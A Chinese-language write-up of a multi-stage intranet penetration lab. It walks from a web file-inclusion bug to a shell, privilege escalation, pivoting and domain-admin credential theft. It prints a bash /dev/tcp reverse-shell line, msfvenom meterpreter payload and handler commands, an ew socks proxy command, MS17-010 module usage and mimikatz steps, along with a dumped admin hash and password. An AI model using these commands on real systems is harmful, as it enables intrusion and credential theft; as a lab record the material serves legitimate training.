平时不怎么习惯做记录,导致很多时候在实际渗透中,遇到了某些问题的时候,还得去咨询度娘,谷锅,所以,现在决定好好纠正一下这个问题,同时也希望分享给爱好安全的同学们。
这个渗透实验做了蛮久了,当时做的时候呢,也就做了点简单的记录。emmmm,废话也不多说了,开始进入正题吧!
这是我画的一个十分拙劣的拓扑图!!!!!
拓扑图1.我们目前能访问的就只有192.168.5.10这个网站,进入网站后,经过简单的浏览页面,可以发现,存在文件包含,关于文件包含的利用方法有很多,这里我也就不做过多阐述了。
2.现在就来测试一下是否存在漏洞,在这里我使用的是PHP的伪协议,可以很直观的看到,这里确实是存在漏洞的
3.确定存在漏洞之后,直接使用远程文件包含来获取shell,因为是实验环境,所以直接在本地开启http服务,并在网站目录下,创建一个一句话脚本,注意这个脚本后缀不能是被php所解析的后缀。
4.使用菜刀进行连接,地址就填远程文件包含的那个地址
5.连接终端,查询一些基本信息,原谅我连whoami都打错了一次,233333,可以看到是一个低权限用户,在查看内核,使用对应的exp进行提权
6.因为这个菜刀的终端用起来不太方便,所以我在做提权的时候,做了一次反弹shell,不过忘记截图了,具体的命令是这样的
目标端:/bin/bash/ -i > /dev/tcp/192/168.5.107/7777 0<&1 2>&1
攻击端:nc -lvnp 7777
7.在获取反弹的shell之后,就可以使用对应的exp进行提权了,不过需要注意的事,上传exp之后,需要查看是否有运行权限,如果没有运行权限的话,使用 chmod u+x 文件名 赋予其可执行权限。
8.在提权成功之后,我直接创建一个用户,并添加到root组,登陆ssh
9.因为是需要做内网渗透,那么不可或缺神器的就是MSF,首先生成一个MSF的后门
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.5.107 LPORT=4444 -f elf >shell.elf
开启监听:
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 0.0.0.0
exploit
10.已经得到反弹回来的shell,那么现在应该做的就是添加路由对其内网进行探测
添加路由11.在对内网探测的时候,我偷了个懒,直接上传了nmap的源码到边界服务器,不过在实战中可不能这么做。以下就是192.168.6.0/24网段中的机器,OK,现在来逐个击破
12.可以看到,16,17这个两个IP开放了80端口,但是其处于内网之中,我们是无法访问到的,那么这个时候,就可以使用ew反手给它一套连招,让它乖乖就范。
在边界服务器,开启socks代理 ./ew -s ssocksd -l 1080
13.我使用的代理工具SocksCap,添加服务器:192.168.5.10,连接socks服务,便可访问其内网了,这款工具我个人感觉挺好用的。大家有兴趣的话,可以试一试。
14.访问192.168.6.16这个内网的80端口后,发现没有任何可以利用的地方,但是我突然看到之前的扫描结果,发现开放了8080端口,这个我相信大家都很熟悉吧,一进去,果然就是tomcat的主页,通过弱口令,成功进入到了配置页面。直接进去正题,找到war包上传地点,本地编译war包,上传,拿到shell。
因为很多tomcat部署的时候,都是高权限用户部署的,所以其默认继承于root,不需要进行提权。
拿到flag,其实每个站点都有两个flag,不过我很多都忘记截图了,手动滑稽- -!
15.开始渗透192.168.6.17这个站点,是一个内部OA系统,尝试爆破没有成功,目录扫描没有可以用页面,无奈之下,上了wvs漏扫,找到一个sql注入点。这个页面扫描目录的时候,也扫出来过,但是没上wvs的时候,我怎么也没想到这里会存在注入 = =
16.直接使用sqlmap进行注入,这里需要使用代理,因为之前socks断了一次,所以我换了个端口
17.拿到管理员账号,随手往MD5网站一丢,解密出来密码为:37s984pass,同时还在数据库中找到了另外一个flag
Database: my_oa
Table: admin
[1 entry]
+----+----------------------------------+----------+
| id | password | username |
+----+----------------------------------+----------+
| 1 | 29acd667cdbee1116d365727ca6821d3 | admin |
+----+----------------------------------+----------+
18.本来想尝试直接用sqlmap写shell的,但是发现没有写入的权限,所以就放弃了,拿到密码,登陆OA管理系统,找到文件上传页面,直接上传php马,没有任何返回信息,然后我又上传了一次正常的图片,发现其命名规则貌似是根据系统返回时间来进行文件重命名的。
19.这个时候直接使用burp抓包上传,这里还是需要注意,burp也是需要使用边界服务器的socks代理的,不然也无法直接抓包上传的。这里重新上传一次大马,根据返回时间,访问大马
20.在查看网卡的时候,发现没有更深层次的主机的,那我也就不用提权了,翻阅目录拿到flag走人
21.接下来就是192.168.6.200这个主机了,看到445端口,第一反应就是ms17-010,刚刚我们已经做过路由了,那么直接执行
use exploit windows/smb/ms17_010_psexec
show PAYLOAD
找到下面箭头所指的这个payload
22.设置目标机ip为192.168.6.200 ,设置反弹shell的ip与端口为我们控制的服务器
23.在执行run之前,先在已经控制的边界服务器(192.168.6.10)上,用nc监听4555端口,可以看到,已经成功的将192.168.6.200的shell反弹回来
25.既然已经拿到高权限shell了,先添加一个用户再说
26.使用一些常用的域命令,收集一些信息
查看用户所属域 查询域管理27.使用新创建的用户,登陆对方3389,因为是域环境,所以在连接3389的时候需要添加域的名称
28.上传mimikatz到192.168.5.10这个边界服务器之后,再下载下来,并且,虽然当前账号是在admin用户组中,但是mimikatz必须要最高权限运行。所以,在这里我也上传了一个MS14-058的exp,用来执行mimikatz
可以看到mimikatz已经成功执行了
运气也比较好,抓到了域管理的密码
29.在使用抓取到的域管理的密码登陆当前主机,拿到flag
30.查看一下网卡信息,可以看到,还有内网
31.查看网络,尝试连接win那台主机,发现对方,为开启3389,但是我们现在有域控密码,直接使用IPC$进行连接,在配合开启3389的vbs脚本,直接打开对方3389,但是我忘记截图了,不过这里有个连接可以参考一下:https://wenku.baidu.com/view/f965f6ece009581b6bd9eb2c.html
32.登陆成功,拿到flag
至此这个实验就算基本完成了✿✿ヽ(°▽°)ノ✿。本人技术不精,如有错误的地方,欢迎指正。
网友评论